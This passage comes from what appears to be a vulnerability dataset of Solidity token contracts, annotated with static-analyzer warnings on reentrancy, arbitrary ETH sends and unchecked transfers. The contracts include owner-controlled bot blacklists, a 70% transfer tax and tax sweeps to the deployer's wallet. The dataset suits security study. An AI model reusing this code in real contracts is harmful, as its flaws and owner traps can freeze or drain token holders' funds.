\"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8de2306\n\t\t\t\t// reentrancy-eth | ID: bdc3d8d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8de2306\n\t\t\t\t\t// reentrancy-eth | ID: bdc3d8d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: bdc3d8d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: bdc3d8d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bdc3d8d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8de2306\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bdc3d8d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: bdc3d8d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8de2306\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 83ac66a\n\t\t// reentrancy-events | ID: 999db2a\n\t\t// reentrancy-events | ID: 8de2306\n\t\t// reentrancy-benign | ID: c659bbc\n\t\t// reentrancy-benign | ID: a267374\n\t\t// reentrancy-eth | ID: a8ba31e\n\t\t// reentrancy-eth | ID: bdc3d8d\n\t\t// reentrancy-eth | ID: 0a88c7a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 727dd43): eth.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 727dd43: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 83ac66a\n\t\t// reentrancy-events | ID: 999db2a\n\t\t// reentrancy-events | ID: 8de2306\n\t\t// reentrancy-eth | ID: a8ba31e\n\t\t// reentrancy-eth | ID: bdc3d8d\n\t\t// reentrancy-eth | ID: 0a88c7a\n\t\t// arbitrary-send-eth | ID: 727dd43\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 999db2a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 999db2a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c659bbc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c659bbc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a2804d3): eth.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a2804d3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 326edef): eth.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 326edef: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a8ba31e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a8ba31e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0a88c7a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0a88c7a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 999db2a\n\t\t// reentrancy-benign | ID: c659bbc\n\t\t// reentrancy-eth | ID: a8ba31e\n\t\t// reentrancy-eth | ID: 0a88c7a\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 999db2a\n\t\t// reentrancy-benign | ID: c659bbc\n\t\t// reentrancy-eth | ID: a8ba31e\n\t\t// reentrancy-eth | ID: 0a88c7a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 999db2a\n\t\t// reentrancy-benign | ID: c659bbc\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: a2804d3\n\t\t// reentrancy-eth | ID: 0a88c7a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 326edef\n\t\t// reentrancy-eth | ID: 0a88c7a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 0a88c7a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0a88c7a\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a044412): eth.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for a044412: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: a044412\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10728.sol",
"size_bytes": 21596,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MTelToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7e78856): MTelToken._taxWallet should be immutable \n\t// Recommendation for 7e78856: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e346521): MTelToken._initialBuyTax should be constant \n\t// Recommendation for e346521: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5612af): MTelToken._initialSellTax should be constant \n\t// Recommendation for f5612af: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a43677c): MTelToken._reduceBuyTaxAt should be constant \n\t// Recommendation for a43677c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7154e63): MTelToken._reduceSellTaxAt should be constant \n\t// Recommendation for 7154e63: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 31538af): MTelToken._preventSwapBefore should be constant \n\t// Recommendation for 31538af: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 20000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MTel Global\";\n\n string private constant _symbol = unicode\"MTC\";\n\n uint256 public _maxTxAmount = 300000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 300000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13a8999): MTelToken._taxSwapThreshold should be constant \n\t// Recommendation for 13a8999: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd4b4bb): MTelToken._maxTaxSwap should be constant \n\t// Recommendation for fd4b4bb: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e4beb73): MTelToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e4beb73: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 246bf25): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 246bf25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 00f7a0f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 00f7a0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 246bf25\n\t\t// reentrancy-benign | ID: 00f7a0f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 246bf25\n\t\t// reentrancy-benign | ID: 00f7a0f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f134036): MTelToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f134036: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 00f7a0f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 246bf25\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 46160bf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 46160bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 81be0fa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 81be0fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 46160bf\n\t\t\t\t// reentrancy-eth | ID: 81be0fa\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 46160bf\n\t\t\t\t\t// reentrancy-eth | ID: 81be0fa\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 81be0fa\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 81be0fa\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 81be0fa\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 46160bf\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 81be0fa\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 81be0fa\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 46160bf\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 46160bf\n\t\t// reentrancy-events | ID: 246bf25\n\t\t// reentrancy-benign | ID: 00f7a0f\n\t\t// reentrancy-eth | ID: 81be0fa\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 99fd824): MTelToken.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 99fd824: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 46160bf\n\t\t// reentrancy-events | ID: 246bf25\n\t\t// reentrancy-eth | ID: 81be0fa\n\t\t// arbitrary-send-eth | ID: 99fd824\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ffb43de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ffb43de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3629a72): MTelToken.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3629a72: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a4a2196): MTelToken.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a4a2196: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8a120c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8a120c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ffb43de\n\t\t// reentrancy-eth | ID: 8a120c7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ffb43de\n\t\t// unused-return | ID: a4a2196\n\t\t// reentrancy-eth | ID: 8a120c7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ffb43de\n\t\t// unused-return | ID: 3629a72\n\t\t// reentrancy-eth | ID: 8a120c7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ffb43de\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8a120c7\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e10fbba): MTelToken.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for e10fbba: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: e10fbba\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10729.sol",
"size_bytes": 20874,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TRUMP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d13a6be): TRUMP._taxWallet should be immutable \n\t// Recommendation for d13a6be: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 246dc50): TRUMP._initialBuyTax should be constant \n\t// Recommendation for 246dc50: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5780854): TRUMP._initialSellTax should be constant \n\t// Recommendation for 5780854: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cbcec6a): TRUMP._reduceBuyTaxAt should be constant \n\t// Recommendation for cbcec6a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: caab8af): TRUMP._reduceSellTaxAt should be constant \n\t// Recommendation for caab8af: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08f6613): TRUMP._preventSwapBefore should be constant \n\t// Recommendation for 08f6613: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TRUMP2124\";\n\n string private constant _symbol = unicode\"TRUMP2124\";\n\n uint256 public _maxTxAmount = 20000 * 10 ** 